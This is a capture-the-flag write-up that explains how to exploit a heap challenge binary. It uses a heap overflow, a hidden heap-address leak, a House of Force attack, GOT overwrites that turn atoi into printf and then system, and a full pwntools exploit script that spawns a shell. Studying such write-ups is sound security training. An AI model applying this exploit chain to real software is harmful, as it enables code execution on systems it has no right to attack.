Challenge Author – 4rbit3r
The binary that was given was a 64-bit, dynamically linked unstripped one. Checking it’s permissions –
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Okay, nothing out of the ordinary here. The program is a standard menu driven program to add, delete and edit notes. There is no use after free bug, as the pointer to the heap is nulled out after being freed. The add functionality lets us create a chunk in the heap. We control the size of the chunk but there is a lower limit of 0x80, which removes the possibility of creating a fast chunk. The edit functionality lets us write to an existing chunk. The interesting part is that the edit function asks the user for size and allows that much write access into the heap, regardless of the size of the chunk. So there is an obvious heap overflow here.
If you notice carefully, there is no way in which we can leak out a libc address. The getinp function pads our input with a null byte, thus making it impossible to leak memory. But wait, looking at the decompiled code, we see that if we enter 1337 as an option in the menu, a function ‘goodguy’ is called. This function basically prints out a heap address. So here are the things that we have that can be used to exploit this binary-
- Heap overflow – with which we can change the size of top chunk
- A heap leak.
Add to this, the fact that we control the size that is passed to malloc, and we have all the pre-requisites for a House of Force attack. With this, we can allocate a chunk into the GOT but then what? We still don’t have a libc leak, so we can’t simply overwrite a GOT address with system. But if we overwrite the GOT of a function that takes in a pointer to user input as an argument (say atoi), with the PLT address of printf then we can create a format string vulnerability and use it to leak out a libc address. So the idea of our exploit will be as follows –
- Perform a House of Force attack to get malloc to allocate a chunk in the GOT table.
- Overwrite the GOT address of atoi with the PLT address of printf.
- Pass an appropriate format string to atoi to leak out an address in the libc.
- Again overwrite the GOT address of atoi, but this time with the address of system.
Here’s a detailed summary of the exploit –
- Enter the option as 1337 to get a heap leak.
- House of Force
- Allocate a chunk of any size (above the lower limit of course 🙂 )
- Use the edit function to overflow from this chunk and overwrite the size of the top chunk with -1 (0xffffffffffffffff)
- Calculate the size of the chunk to allocate as the difference between a GOT address (I have used read in the exploit) and the address of the current top chunk. i.e size = (GOT address) – (address of top chunk)
- Allocate a chunk with size as calculated above. The next chunk that is allocated will lie in the GOT table.
- Keep overwritting till the got address of atoi is reched. Now overwrite this with the PLT address of printf. Now atoi will act as printf.
- Pass a format string to atoi and get a libc leak. Use this to calculate the address of system.
- Next time the input for menu is asked, give three bytes to call the edit function (keep in mind that the prinf function return’s the number of characters printed).
- Enter the index of the chunk in the GOT table and overwrite the GOT address of atoi with address of system.
- Next time the menu input is asked, give it as ‘/bin/sh’ and when atoi is called with this as agrument, it’s interpreted as system(“/bin/sh”). And after this is executed – yay we get a shell !
Here is the exploit script –
from pwn import * import sys if len(sys.argv)>1: r=remote('22.214.171.124',1337) else: r=process('./gry') e=ELF('./gry') libc=ELF('./libc.so.6') atoi=0x602068 def add(idx,size): r.sendlineafter(">> ",'1') r.sendlineafter("Enter size of input",str(size)) r.sendlineafter("Enter index",str(idx)) def delete(idx): r.sendlineafter(">> ",'2') r.sendlineafter("Enter index",str(idx)) def edit(idx,size,data): r.sendlineafter(">> ",'3') r.sendlineafter("Enter index",str(idx)) r.sendlineafter("Enter size",str(size)) r.sendline(data) def heap_addr(): r.sendlineafter(">> ",'1337') leak = int(r.recvuntil('\n'),16) return leak-0x10 def exploit(heap): add(1,152) edit(1,200,"A"*152+p64(-1,signed=True)) size=0x602040-(heap+0x1c0) add(2,size) add(3,150) payload=p64(e.plt['atoll']+6) #These addresses have been overwrittenn with call to payload+=p64(e.plt['malloc']+6) #their respective dynamic linker functions. payload+=p64(e.plt['setvbuf']+6) #Overwritting the with junk would have worked as well as these functions are not called again payload1=payload+p64(e.plt['printf']) edit(3,150,payload1) #overwrite GOT of atoi with printf PLT r.sendlineafter(">> ","%p-%p~%p") #This will be interpretted as printf("%p-%p~%p") r.recvuntil('~') libc.address=int(r.recvuntil('\n').strip(),16)-0xf7230 system=libc.symbols['system'] payload2=payload+p64(system) r.sendlineafter(">> ",'aa') # We need to print out 3 bytes to call edit - 2 'a' and one null. r.sendlineafter("Enter index",'aa') r.sendlineafter("Enter size","A"*30) r.sendline(payload2) #overwrite the GOT of atoi with that of system. r.sendlineafter(">> ","/bin/sh") #acts as agrument to system r.recvuntil(">> ") heap = heap_addr() print "Heap =",hex(heap) exploit(heap) r.interactive()
Running this gives us the shell. And the flag was –
Any queries or feedback on this CTF is welcome!